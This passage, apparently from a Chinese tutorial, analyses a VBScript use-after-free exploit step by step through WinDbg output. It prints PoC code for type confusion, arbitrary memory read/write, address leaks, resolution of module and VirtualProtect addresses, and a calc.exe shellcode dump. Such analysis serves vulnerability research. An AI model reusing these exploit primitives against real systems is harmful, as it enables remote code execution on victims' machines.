//打印一个标记,表示进入Get P函数:
0:005> dd poi(esp+c)
01cd08a8  00000008 00000000 01cc7fb4 00000000
01cd08b8  00000000 00000000 00000000 00000000
01cd08c8  00000000 00000000 00000000 00000000
01cd08d8  00000000 00000000 00000000 00000000
01cd08e8  00000000 00000000 00000000 00000000
01cd08f8  00000000 00000000 00000000 00000000
01cd0908  712f0000 01cb2564 01cd2440 712f4211
01cd0918  0249c720 01cd0938 01cb2560 712f4211
0:005> du 01cc7fb4 
01cc7fb4  "cal6:call Get P"

第二个IsEmpty

0:005> dd poi(esp+c)
01cd08a8  00000008 00000000 01cc7fdc 0000200c
01cd08b8  02490002 01cd2fa8 01cb0006 0249c454
01cd08c8  02490002 01cd2fa8 01cb0001 0249c454

0:005> du 01cc7fdc 
01cc7fdc  "finish set array_b to 0"

Free之前的占位

还记得上面分析UAF里面的第一次cla4_obj1Trigger的占位吗,现在再次查看下这个地址:

// For i=0 To 6   
// array_b(i)=0  
// Next
//由于重新进行了调试,这一次的地址是1cb2528,最近的这条日志可以打印出这个地址
Class cla4 at 1cb2528, terminate called

0:005> dd 1cb2528
01cb2528  712f00d4 00000000 00000000 00000000  //原本占位在这里的cla4_obj1的内存被释放了
01cb2538  000003ec 00000000 00000000 00000000
01cb2548  00000000 002de2a4 00000000 00000000
01cb2558  59acc226 88008da0 712f1748 00000001
01cb2568  01cb5210 003be638 000003ec 00000000
01cb2578  00000000 00000000 00000000 002a613c
01cb2588  00000000 01cb24f0 59acc23f 8c000000
01cb2598  712fce78 71303100 713030f0 00000002
0:005> !heap -a -p 1cb2528
**********************************************

the `!heap -p' commands in exts.dll have been replaced
with equivalent commands in ext.dll.
If your are in a KD session, use `!ext.heap -p`
**********************************************
0:005> !heap -p -a 1cb2528
    address 01cb2528 found in
    _HEAP @ 3b0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01cb2520 0007 0000  [00]   01cb2528    00030 - (free) //堆回溯查看已经被free

重新占位,伪造数据结构

第三次断点,此时再次进行占位,使用的是cla5_obj1;

//源码
Set cla5_obj1=New cla5  '再次使用悬垂指针重新用cla5_obj1占位,
        cla5_obj1.mem=str_1   
  IsEmpty(cla5_obj1)
  '这个str1是一个全局变量,
  'str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
Breakpoint 3 hit
eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001
eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
7130c206 8bff            mov     edi,edi

0:005> dd 01cb2528         //可以直接查看前面一步被free的地址,已经再次占位成功
01cb2528  712f1748 00000002 01c***f0 003be638  //这个01c***f0是cla5.mem的地址
01cb2538  000003ec 00000000 00000000 00000000
01cb2548  00000000 002de344 00000000 01cb2560
01cb2558  59acc226 88008da0 712f1748 00000001
01cb2568  01cb5210 003be638 000003ec 00000000
01cb2578  00000000 00000000 00000000 002a613c
01cb2588  01cb2528 01cb24f0 59acc23f 8c000000
01cb2598  712fce78 71303100 713030f0 00000002

0:005> du 002de344
002de344  "cla5"

//源码 cla5_obj1.mem=str_1
0:005> dd 01c***f0
01c***f0  01cb74a8 000000b8 00000100 00000100
01cb5100  00004000 01cb74ac 01cb754c 01cb3e30
01cb5110  0000000f 00000003 00000040 00000003
01cb5120  00000014 01cb5128 01cb74ac 01cb74f4
01cb5130  01cb752c 00000475 00000000 01cb5100
01cb5140  01cb5114 00000002 00000000 00000477
01cb5150  0000047d 000015c6 00000002 00000000
01cb5160  0000047e 00000482 00000bfc 00000012


0:005> dd 01cb752c
01cb752c  00000008 00000000 002de2f4 00000000  //0x08是类型,代表的vbstring,后面会把这个类型改为safearray即0x200c
01cb753c  00000000 00000000 0000822f 00000006
01cb754c  00000000 00000000 00000003 01cb752c
01cb755c  0065006d 0000006d 00000b19 00000b5b
01cb756c  00000000 01cb749c 01cb7540 00000001
01cb757c  00000000 00000b65 00000b69 01cb7824
01cb758c  00000001 00000000 00000b6a 00000b6e
01cb759c  01cb7824 00000002 00000000 00000b6f

//看伪造的这个类似于数组的字符串,它的元素有7fffffff个,每个元素占一字节,元素内存地址为0,那它能访问的内存空间是0-0x7fffffff
//如果现在类型变为safearray,就能够实现全址读写
//str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
0:005> dd 002de2f4        
002de2f4  08800001 00000001 00000000 00000000
002de304  7fffffff 00000000 00000000 585693f7
002de314  88000000 0000000e 81ea6765 98757f51

双精度浮点数完成类型混淆的原理

Get P 执行完成后,P作为返回值返回给cla4.mem成员变量中,那么P是什么:

//源码中;
P=174088534690791e-324 
//优化后这样的:
P=CDbl("174088534690791e-324")  //CDbl是vbs中的吧表达式转化为双精度类型的一个函数

174088534690791 e-324 是174088534690791的-324平方
用c语言计算为:printf("%I64x\n",174088534690791e-324);
为,200c00000000,
由它是vbDouble类型,前面会有一个0x05的标志,
最终在内存中P的值为:00000005 00000000 00000000 0000200C

再次查看mem地址;

0:005> dd 01cb752c
01cb752c  0000200c 00000000 002de2f4 00000000   //类型被改为200c,代表着safearray类型01cb753c  00000000 00000000 0000822f 00000006
01cb754c  00000000 00000000 00000003 01cb752c
01cb755c  0065006d 0000006d 00000b19 00000b5b
01cb756c  00000000 01cb749c 01cb7540 00000001
01cb757c  00000000 00000b65 00000b69 01cb7824
01cb758c  00000001 00000000 00000b6a 00000b6e
01cb759c  01cb7824 00000002 00000000 00000b6f

0:005> dd 01cb752c-c
01cb7520  00000005 00000000 00000000 0000200c  //这个就是P在内存中的值01cb7530  00000000 002de2f4 00000000 00000000
01cb7540  00000000 0000822f 00000006 00000000
01cb7550  00000000 00000003 01cb752c 0065006d
01cb7560  0000006d 00000b19 00000b5b 00000000
01cb7570  01cb749c 01cb7540 00000001 00000000
01cb7580  00000b65 00000b69 01cb7824 00000001
01cb7590  00000000 00000b6a 00000b6e 01cb7824
//为什么是从mem地址-c开始的,,这个-c的位置,是原来没有被释放的时候的cla4_obj1.mem的地址,
//就是P修改的是释放前的mem的地址,释放前与占位后的mem相差0x0C字节,
//00000005 00000000 00000000 0000200C这个数,刚好从0c的位置写入了0x200c

最终实现了 vbstring-->safearray的类型转换,cla5.mem最终拿到任意地址读写权限

InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法,

伪造的字符串:
str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
转换的类型:
P=CDbl("636598737289582e-328")  //dd 00000005 00000000 00000000 00000003
0x03是vbLong类型;

cla7的Get P中的第一次IsEmpty,free类对象地址

//这次特意提前保存了没有被free的cla4_obj2类对象地址的状态:
0:005> dd 1cb2560
01cb2560  712f1748 00000007 01cb5210 003be638
01cb2570  000003ec 00000000 00000000 00000000
01cb2580  00000000 002a613c 01cb2528 01cb24f0
01cb2590  59acc23f 80000000 712f00d4 71303100
01cb25a0  713030f0 00000000 00000000 00000000
01cb25b0  00000000 0249cb64 00000000 00000000
01cb25c0  00000000 00000000 59acc234 80000000
01cb25d0  712f00db 71303100 713030f0 00000000
//目前还是cla4_obj2.mem
0:005> dd 01cb5210
01cb5210  01cb76d8 000000ac 00000100 00000100
01cb5220  00004000 01cb76dc 01cb7770 01cb3ec0
01cb5230  0000000f 00000003 00000040 00000003
01cb5240  00000014 01cb5248 01cb76dc 01cb7710
01cb5250  01cb7750 000004a3 00000000 01cb51b8
01cb5260  01cb522c 00000002 00000000 000004a5

//占位前的mem地址是01cb7750
0:005> dd 01cb7750 
01cb7750  02490000 01cd2808 01cc0000 0249ce98
01cb7760  00000000 01cb7938 0000822f 00000006
01cb7770  00000000 00000000 00000003 00000000


Class cla4 at 1cb2560, terminate called
Breakpoint 3 hit
eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001
eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
7130c206 8bff            mov     edi,edi

0:005> dd poi(esp+c)
01cd08a8  00000008 00000000 01cc7f6c 00000003
01cd08b8  02490002 01cd2fa8 01cb0006 0249c454
01cd08c8  02490002 01cd2fa8 01cb0001 0249c454
01cd08d8  00000000 00000000 00000000 00000000
01cd08e8  00000000 00000000 00000000 00000000
01cd08f8  00000000 00000000 00000000 00000000
01cd0908  00000005 00000000 00000000 00000003
01cd0918  0249c720 01cd0938 01cb2560 712f4211
0:005> du 01cc7f6c
01cc7f6c  "finish set array_c to 0"

//再看类对象地址已经被free
0:005> dd 1cb2560
01cb2560  712f00d4 00000000 00000000 00000000
01cb2570  000003ec 00000000 00000000 00000000
01cb2580  00000000 002a613c 00000000 00000000
01cb2590  59acc23f 8c000000 712fce78 71303100
01cb25a0  713030f0 00000002 003be638 01cd27d0
01cb25b0  0029f090 0249cb64 00000000 00000000
01cb25c0  00000000 00000000 59acc234 80000000
01cb25d0  712f00db 71303100 713030f0 00000000

0:005> !heap -p -a 1cb2560
    address 01cb2560 found in
    _HEAP @ 3b0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01cb2558 0007 0000  [00]   01cb2560    00030 - (free)

cla7的Get P中的第二次IsEmpty,占位:

Breakpoint 3 hit
eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001
eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
7130c206 8bff            mov     edi,edi
0:005> dd 1cb2560
01cb2560  712f1748 00000002 01cb5210 003be638  //占位成功 ,01cb5210为cla5.mem
01cb2570  000003ec 00000000 00000000 00000000
01cb2580  00000000 002a613c 00000000 01cb2528
01cb2590  59acc23f 8c000000 712fce78 71303100
01cb25a0  713030f0 00000002 003be638 01cd27d0
01cb25b0  0029f090 0249cb64 00000000 00000000
01cb25c0  00000000 00000000 59acc234 8c000000
01cb25d0  712fce78 71303100 713030f0 00000001
0:005> du 002a613c
002a613c  "cla5"             

:005> dd 01cb5210
01cb5210  01cb76d8 000000b8 00000100 00000100
01cb5220  00004000 01cb76dc 01cb777c 01cb3ec0
01cb5230  0000000f 00000003 00000040 00000003
01cb5240  00000014 01cb5248 01cb76dc 01cb7724
01cb5250  01cb775c 000004a3 00000000 01cb51b8
01cb5260  01cb522c 00000002 00000000 000004a5
01cb5270  000004aa 00000c93 00000002 00000000
01cb5280  000004ab 000004af 000017a6 00000012

//可以看到占位后的地址是 01cb775c 与上面保存的占位前的mem的地址01cb7750相差0xc
0:005> dd 01cb775c        
01cb775c  00000008 00000000 002de31c 00000000 //原始类型为一个0x08 vbstring类型
01cb776c  00000000 00000000 0000822f 00000006
01cb777c  00000000 00000000 00000003 45001e5b

//当前字符串的内容为:str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
0:005> dd 002de31c
002de31c  00000000 00000000 00000000 00000000
002de32c  00000000 00000000 00000000 585693f2

cla7的Get P中的第三次IsEmpty,类型混淆:

0:005>  dd 01cb5210
01cb5210  01cb76d8 000000b8 00000100 00000100
01cb5220  00004000 01cb76dc 01cb777c 01cb3ec0
01cb5230  0000000f 00000003 00000040 00000003
01cb5240  00000014 01cb5248 01cb76dc 01cb7724
01cb5250  01cb775c 000004a3 00000000 01cb51b8
01cb5260  01cb522c 00000002 00000000 000004a5
01cb5270  000004aa 00000c93 00000002 00000000
01cb5280  000004ab 000004af 000017a6 00000012

0:005> dd 01cb775c
01cb775c  00000003 00000000 002de31c 00000000   //类型更改后,0x03是vbLong类型01cb776c  00000000 00000000 0000822f 00000006
01cb777c  00000000 00000000 00000003 45001e5b

//P=CDbl("636598737289582e-328")  //dd 00000005 00000000 00000000 000000030:005> dd 01cb775c-c
01cb7750  00000005 00000000 00000000 00000003   
01cb7760  00000000 002de31c 00000000 00000000
01cb7770  00000000 0000822f 00000006 00000000
01cb7780  00000000 00000003 45001e5b 0065006d

泄露指向字符串的指针,最后还有一句关键的代码:

//源码
Alert "InitObjects2"
spec_int_1=cla4_obj2.mem '这句将上面指向0000的那个字符串的指针泄露给了spec_int_1
IsEmpty(spec_int_1)
0:005> dd poi(esp+c)
0055fe68  00000003 00000000 003f9dd4 0c002e3a
0055fe78  00000000 00000000 02021598 00000000
0055fe88  024bd3d8 0055fea8 020217a0 00000000
0055fe98  024b0000 0055ffa8 00000000 00000000
0055fea8  024bd61c 0055ffa8 02021598 00000000
0055feb8  0000400c 00000000 02020fd0 00000000
0055fec8  0000400c 00000000 02020f80 00000000
0055fed8  0000400c 00000000 02020f3c 00000000
0:005> dd 003f9dd4 
003f9dd4  00000000 00000000 00000000 00000000 //这个地址指向的就是00那个字符串,
003f9de4  00780000 00000074 003f93a4 4b92935b //由于windbg重新启动地址与上面不一致,但是从周围的元素可以观察出是一致的
003f9df4  8c000000 00000001 00000000 00000000
003f9e04  7fffffff 7fffffff 80000001 80000001
003f9e14  00000000 4b929326 88000000 00000000
003f9e24  006e0000 00740069 0062004f 0065006a
003f9e34  00740063 00000073 003f9e4c 4b92932d
003f9e44  88000000 00000018 006e0049 00740069

3.3.PoC 中的地址泄露

//此函数泄露 CScriptEntryPoint 对象的虚函数表地址,该地址属于Vbscript.dll。
Function LeakVBAddr
    On Error Resume Next      '忽略错误,执行下一条代码
    Dim emptySub_addr_placeholder    '构造一个类型为null 的 CScriptEntryPoint 对象
    emptySub_addr_placeholder=EmptySub
    emptySub_addr_placeholder=null
    IsEmpty(emptySub_addr_placeholder)   '此断点可以查看此 CScriptEntryPointObject 地址
    SetMemValue emptySub_addr_placeholder  '这种传参数不用括号也是可以的
    LeakVBAddr=GetMemValue()
End Function

LeakVBAddr函数中 IsEmpty 断下查看 emptySub_addr_placeholder 是什么;

0:005> dd poi(esp+c)
0055fe58  00000001 000007ff 0055e030 cf0000cf  //这个对象地址下一步会保存在指向空字符串+8的地方
0055fe68  00000001 000007ff 0055e030 cf0000cf
0055fe78  00000000 00000000 02021598 00000000
0055fe88  024bd3d8 0055fea8 020217a0 00000000

0:005> ln poi(0055e030)                          //发现它是一个CScriptEntryPoint对象,
(6a5b4934)   vbscript!CScriptEntryPoint::`vftable'   |  (6a5cab54)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
    vbscript!CScriptEntryPoint::`vftable` = <no type information>

源码短短几句简单的代码会产生一个CScriptEntryPoint对象的原因为:

On  Error  Resume  Next                                      //首先它定义了忽略错误
Dim emptySub_addr_placeholder                                //定义一个变量
emptySub_addr_placeholder =EmptySub                          //将函数指针赋值给一个变量,VBS语法是不允许这样的
                                                             //但是其上面忽略了错误,最终这个函数指针的值仍然被赋值给了变量
emptySub_addr_placeholder=null                               //然后将该值的类型设置为null
                                                             //最终,变量里面仍然保存着一个函数指针,但是类型为null

进入SetMemValue函数: 要记住上面在InitObjects函数的最后spec_int_1中保存的就是那个0字符串的地址

//源码
Sub SetMemValue(ByRef Ili)
    cla4_obj1.mem(spec_int_1+8)=Ili   '将CScriptEntryPoint对象放到spec_int_1+8的位置
    IsEmpty("SetMemValue Finish")    
End Sub

可以这样修改是因为在cla4_obj1.mem已经是一个可以全地址读写的array了,继续, IsEmpty断下后:

//调试
Breakpoint 3 hit
eax=6a5b185c ebx=024bcea0 ecx=6a60a9d8 edx=024bce18 esi=02016a68 edi=00000001
eip=6a5cc206 esp=024bcd34 ebp=024bcd44 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a5cc206 8bff            mov     edi,edi

//这个地址就是上面的指向空字符的地址:
0:005> dd 003f9dd4
003f9dd4  00000000 00000000 00000001 000007ff  //从+8的位置保存的便是CScriptEntryPoint对象,这个0x01是vbNull(可查询上方表格)
003f9de4  0055e030 cf0000cf 003f93a4 4b92935b
003f9df4  8c000000 00000001 00000000 00000000
003f9e04  7fffffff 7fffffff 80000001 80000001
003f9e14  00000000 4b929326 88000000 00000000
003f9e24  006e0000 00740069 0062004f 0065006a
003f9e34  00740063 00000073 003f9e4c 4b92932d
003f9e44  88000000 00000018 006e0049 00740069

然后进入GetMemValue函数:

//源码Function GetMemValue
    cla4_obj1.mem(spec_int_1)= 3   '将CScriptEntryPoint对象 的类型改为3 即为Long
    IsEmpty("GetMemValue Finish")
    GetMemValue=cla4_obj1.mem(spec_int_1+ 8)End Function

IsEmpty 断下后:

//调试
0:005> dd poi(esp+c)
0055fe38  00000008 024bcf28 02016a38 03120780
0055fe48  024b0000 0055fe88 024b0001 0055c7e8
0055fe58  024bd194 0055fe88 0055fe68 cf0000cf

0:005> du 02016a38 
02016a38  "GetMemValue Finish"   //这是打的断点标记

0:005> dd 003f9dd4        //str_2地址
003f9dd4  00000002 024bcf28 02020003 03120780 //02020003高位保存的03(vbLong)就是赋值的位置,类型改变成功了,但是周围生成的值是哪里来的(这些值是不影响的但是就是没搞清楚来源)?
003f9de4  0055e030 cf0000cf 003f93a4 4b92935b //+8的位置没有变
003f9df4  8c000000 00000001 00000000 00000000
003f9e04  7fffffff 7fffffff 80000001 80000001
003f9e14  00000000 4b929326 88000000 00000000
003f9e24  006e0000 00740069 0062004f 0065006a
003f9e34  00740063 00000073 003f9e4c 4b92932d
003f9e44  88000000 00000018 006e0049 00740069

GetMemValue=cla4_obj1.mem(spec_int_1+ 8)这一步把0055e030的值给了GetMemValueGetMemValue赋值给了LeakVBAddr以上整个 LeakVBAddr 函数过程得到了 vbLong 型的 CScriptEntryPoint对象地址 

我们在 StartExploit 中确认一下是否正确

UAF
InitObjects
vb_adrr=LeakVBAddr()
IsEmpty(vb_adrr)  //确认IsEmpty的值

IsEmpty 中断下:

Breakpoint 3 hit
eax=6a5b185c ebx=024bd328 ecx=6a60a9d8 edx=024bd2a0 esi=02016a68 edi=00000001
eip=6a5cc206 esp=024bd1bc ebp=024bd1cc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a5cc206 8bff            mov     edi,edi
0:005> dd poi (esp+c)
0055fe88  02020003 03120780 0055e030 cf0000cf //的确是我们上面得到的类对象地址
0055fe98  024b0000 0055ffa8 00000000 00000000
0055fea8  024bd61c 0055ffa8 02021598 00000000

0:005> ln poi(0055e030)
(6a5b4934)   vbscript!CScriptEntryPoint::`vftable'   |  (6a5cab54)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
    vbscript!CScriptEntryPoint::`vftable' = <no type information>

3.4 关键地址的获取

3.4.1 获取虚函数表地址

先看 PoC 中的GetUint32函数:

//函数参数为对象地址,然后该函数返回的是这个对象的虚函数表地址
Function GetUint32(addr)    
    Dim value
 IsEmpty("enter GetUint32")
    cla4_obj1.mem(spec_int_1+8)=addr+4  '原本存放CScriptEntryPoint对象的位置 存放 该对象地址+4
 IsEmpty("spec_int_1+8")
    cla4_obj1.mem(spec_int_1)=8         '改为字符串 type string
 IsEmpty("type string")
    value=cla4_obj1.P0123456789
 IsEmpty(value)
    cla4_obj1.mem(spec_int_1)=2   '改为 整型 type vbInteger
 IsEmpty("type vbInteger")
    GetUint32=value     
End Function

单纯看上面代码一头雾水,我们从内存中看:

//刚enter GetUint32时,003c7c7c地址是str_2空字符串地址
0:005> dd 003c7c7c
003c7c7c  00000002 0241cdc0 772c0003 0241d1f8  //772c0003mem地址
003c7c8c  0061e788 0241d038 00000000 08e9cd8e  //0061e788是CScriptEntryPoint类对象地址
003c7c9c  80000000 688a0075 00000873 003c9188
003c7cac  00000000 003c7cf0 00000035 003fbc74
003c7cbc  003c7ccc 08e9cd85 80000000 0000007a
003c7ccc  00680063 00630065 0062006b 0078006f
003c7cdc  00000000 00000000 00000000 08e9cd80
003c7cec  80000000 688a0048 00000874 003c9188

//cla4_obj1.mem(spec_int_1+8)=addr+4 
0:005> dd 003c7c7c
003c7c7c  00000002 0241cdc0 772c0003 0241d1f8
003c7c8c  0061e78c 0241d038 00000000 08e9cd8e  //0061e788---> 0061e78c003c7c9c  80000000 688a0075 00000873 003c9188
003c7cac  00000000 003c7cf0 00000035 003fbc74
003c7cbc  003c7ccc 08e9cd85 80000000 0000007a
003c7ccc  00680063 00630065 0062006b 0078006f
003c7cdc  00000000 00000000 00000000 08e9cd80
003c7cec  80000000 688a0048 00000874 003c9188


// cla4_obj1.mem(spec_int_1)=8 
0:005> dd 003c7c7c
003c7c7c  772c0002 0241d1f8 02440008 0241d038  //类型0x03vbLong-->0x08vbString003c7c8c  0061e78c 0241d038 00000000 08e9cd8e
003c7c9c  80000000 688a0075 00000873 003c9188
003c7cac  00000000 003c7cf0 00000035 003fbc74
003c7cbc  003c7ccc 08e9cd85 80000000 0000007a
003c7ccc  00680063 00630065 0062006b 0078006f
003c7cdc  00000000 00000000 00000000 08e9cd80
003c7cec  80000000 688a0048 00000874 003c9188

然后 value=cla4_obj1.P0123456789  这一步,先说结论,最终返回的是 CScriptEntryPoint类对象的虚函数表地址  为什么? 看一下 cla4_obj1.P0123456789 的实现逻辑:

Class cla5
    Dim mem
    Function P0123456789
        P0123456789=LenB(mem(spec_int_1+8))  
    End Function
    Function SPP
    End Function
End Class

LenB 在 VBscript.dll 中调用的是 cbLengthBstr,下面是它的代码

.text:6E4F38C2 ; unsigned __int32 __stdcall cbLengthBstr(unsigned __int16 *)
.text:6E4F38C2 [email protected]@[email protected] proc near       ; CODE XREF: rtConcatBstr(ushort *,ushort *)+C p
.text:6E4F38C2                                         ; rtConcatBstr(ushort *,ushort *)+16 p ...
.text:6E4F38C2
.text:6E4F38C2 arg_0           = dword ptr  8
.text:6E4F38C2
.text:6E4F38C2                 mov     edi, edi
.text:6E4F38**                 push    ebp
.text:6E4F38C5                 mov     ebp, esp
.text:6E4F38C7                 mov     eax, [ebp+arg_0]
.text:6E4F38CA                 test    eax, eax
.text:6E4F38CC                 jz      short loc_6E4F38D1
.text:6E4F38CE                 mov     eax, [eax-4]  //这一步是重点
.text:6E4F38D1
.text:6E4F38D1 loc_6E4F38D1:                           ; CODE XREF: cbLengthBstr(ushort *)+A j
.text:6E4F38D1                 pop     ebp
.text:6E4F38D2                 retn    4
.text:6E4F38D2 [email protected]@[email protected] endp

CScriptEntryPoint 对象地址是 0061e788,对象地址+4仍然存放在这里就是0061e78c ,代码更改了它的类型为vbstring,那么这个值就变成了 BSTR 字符串指针 ,然后使用LenB求它的长度; 

但是在 cbLengthBstr 内部的执行是将mov eax, [eax-4], 这是因为正常的 BSTR 字符串的结构是:前四个字节保存的是字符串长度,在字符串结尾以字符0识别,BSTR****

但是我们这个原本不是 BSTR 字符串类型,当[eax-4] 的时候得到仍然是类对象地址中的内容;

0:005> dd [0061e78c-4]
0061e788  6e654934 00000001 0061ff68 02446528  //0061e788保存的本来就是虚函数表的地址0061e798  0244f9a8 00000000 0061ff68 0061fc80
0061e7a8  67352229 0800c9e4 6e654934 00000001
0061e7b8  0061ff68 02446528 0244f9dc 00000000
0061e7c8  0061ff68 0061fc80 67352229 0800c9e4
0061e7d8  6e654934 00000001 0061ff68 02446528
0061e7e8  0244fa50 00000000 0061ff68 0061fc80
0061e7f8  67352229 0800c9e4 6e654934 00000001

以上为得到VBScript.dll中的CScriptEntryPoint对象虚函数表的过程

3.4.2.获取 VBScript.dll 基地址

Function FindMzBase(vtable_address)

    Dim base
    base=vtable_address And &hffff0000  '64k对齐,得到vbscript.dll 基地址
 Alert "FindMzBase "
 IsEmpty(base)
 
    Do While GetUint32(base+&h68)<>&h206E6920 Or GetUint32(base+&h6c)<>&h20534F44
        base=base-&h10000     
    Loop
 IsEmpty(base)
    FindMzBase=base
End Function

上面获得的虚函数表的地址是 CScriptEntryPoint 对象的,这个地址属于  VBScript.dll,由于内存的64k对齐,把虚函数表地址后四位置零便得到 VBScript.dll 的基地址。

3.4.3.获取其余关键dll与函数地址

VBScript.dll 导入了 msvcrt.dll , msvcrt.dll 又导入了 kernelbase.dll 与 ntdll.dll ,遍历它们的导入表最终可以从 kernelbase.dll 中获取到 VirtualProtect 函数地址,从 ntdll.dll 中获取 NtContinue 函数地址。

这部分属于PE文件的操作,请允许我不再详细分析。

    '首先得到VBScript地址,其传入的是CScriptEntryPoint虚函数表对象地址
    vbs_base=FindMzBase(GetUint32(vb_adrr))
    Alert "VBScript Base: 0x" & Hex(vbs_base) 
 
    '遍历VBScript.dll导入表找到msvcrt.dll基地址
    msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
    Alert "MSVCRT Base: 0x" & Hex(msv_base) 
   
     '遍历msvcrt.dll导入表找到kernelbase.dll基地址
    krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
    Alert "KernelBase Base: 0x" & Hex(krb_base) 
 
     '遍历msvcrt.dll导入表找到ntdll.dll基地址
    ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
    Alert "Ntdll Base: 0x" & Hex(ntd_base) 
 
     '从kernelbase.dll找到VirtualProtect函数地址
    VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
    Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr) 
 
     '从ntdll.dll找到 NtContinue 函数地址
    NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
    Alert "Ntdll!NtContinue Address 0x" & Hex(NtContinueAddr)

3.5 ShellCode的执行

3.5.1.ShellCode位置

源码中的shellcode部分的混淆我没有去理会,我们只要研究他是怎么执行起来的,环境是怎么构造的;

//PoC源码
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
IsEmpty(ShellcodeAddr)
//GetShellcode()最终返回的是Shellcode的地址,
//SetMemValue 仍然与将这个字符串赋值到cla4_obj1.mem处

//执行之前spec_int_1处:
//现在保留的是CScriptEntryPoint对象+4的一个值,正常这里是最近的获取的函数的值
0:014> dd 00579aec 
00579aec  00000002 00000000 6e610002 00000000
00579afc  0019e90c 025dcd08 00000000 01ad84c9
00579b0c  88000000 00000006 006f0046 0000006f
00579b1c  6d887684 0000606f 0000003e 00000000
00579b2c  00000000 01ad84ce 88000000 00000018
00579b3c  0065006d 00730073 00670061 00530065
00579b4c  00790074 0065006c 00000000 01ad84c3
00579b5c  80000000 688a00ed 0000086e 00579310


//SetMemValue GetShellcode()执行之后
0:006> dd 00579aec 
00579aec  00000002 00000000 025d0008 01c03508
00579afc  025e0024 025dc864 00000000 01ad84c9
00579b0c  88000000 00000006 006f0046 0000006f
00579b1c  6d887684 0000606f 0000003e 00000000
00579b2c  00000000 01ad84ce 80000000 000000ac
00579b3c  00000071 00530074 00650068 006c006c
00579b4c  006f0063 00650064 00000000 01ad84c3
00579b5c  88000000 00000004 00300030 00310000

//ShellcodeAddr=GetMemValue()+8 
//GetMemValue函数把spec_int_1类型改为long型,并把+08的地址返回

025e0024 就是shellcode的入口,准确的说是在 025e0024+8 的位置 在内存中看一下:

0:006> db 025e0024 l100
//从025e002c开始,前面是00
025e0024  00 00 00 00 00 00 00 00-fc e8 82 00 00 00 60 89  ..............`.
025e0034  e5 31 c0 64 8b 50 30 8b-52 0c 8b 52 14 8b 72 28  .1.d.P0.R..R..r(
025e0044  0f b7 4a 26 31 ff ac 3c-61 7c 02 2c 20 c1 cf 0d  ..J&1..<a|., ...
025e0054  01 c7 e2 f2 52 57 8b 52-10 8b 4a 3c 8b 4c 11 78  ....RW.R..J<.L.x
025e0064  e3 48 01 d1 51 8b 59 20-01 d3 8b 49 18 e3 3a 49  .H..Q.Y ...I..:I
025e0074  8b 34 8b 01 d6 31 ff ac-c1 cf 0d 01 c7 38 e0 75  .4...1.......8.u
025e0084  f6 03 7d f8 3b 7d 24 75-e4 58 8b 58 24 01 d3 66  ..}.;}$u.X.X$..f
025e0094  8b 0c 4b 8b 58 1c 01 d3-8b 04 8b 01 d0 89 44 24  ..K.X.........D$
025e00a4  24 5b 5b 61 59 5a 51 ff-e0 5f 5f 5a 8b 12 eb 8d  $[[aYZQ..__Z....
025e00b4  5d 6a 01 8d 85 b2 00 00-00 50 68 31 8b 6f 87 ff  ]j.......Ph1.o..
025e00c4  d5 bb f0 b5 a2 56 68 a6-95 bd 9d ff d5 3c 06 7c  .....Vh......<.|
025e00d4  0a 80 fb e0 75 05 bb 47-13 72 6f 6a 00 53 ff d5  ....u..G.roj.S..
025e00e4  63 61 6c 63 2e 65 78 65-00 41 65 00 00 00 00 00  calc.exe.Ae.....
025e00f4  00 00 00 00 00 00 00 cc-cc cc cc cc cc cc cc cc  ................
025e0104  3f 71 3d 37 30 35 35 34-38 26 76 3d 33 00 41 41  ?q=705548&v=3.AA
025e0114  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

//当前地址的权限问题
0: kd> !pte 025e0024
                    VA 025e0024
PDE at C0600090            PTE at C0012F00
contains 0000000076382867  contains 8000000043F0F867
pfn 76382     ---DA--UWEV   pfn 43f0f     ---DA--UW-V

现在shellcode的已经加载到内存中了,接下来就是构造环境执行的问题了

3.5.2.ShellCode 绕过DEPv

重点是这两个函数:

SetMemValue VirtualProtectCallParameters(ShellcodeAddr)
    lIlll=GetMemValue()+69596  '0x10FDC
 IsEmpty(lIlll)
    SetMemValue ExpandWithVirtualProtect(lIlll)
    llIIll=GetMemValue()
 IsEmpty(llIIll)

先看 VirtualProtectCallParameters 函数:

'构造VirtualProtect环境 参数为shellcode地址  
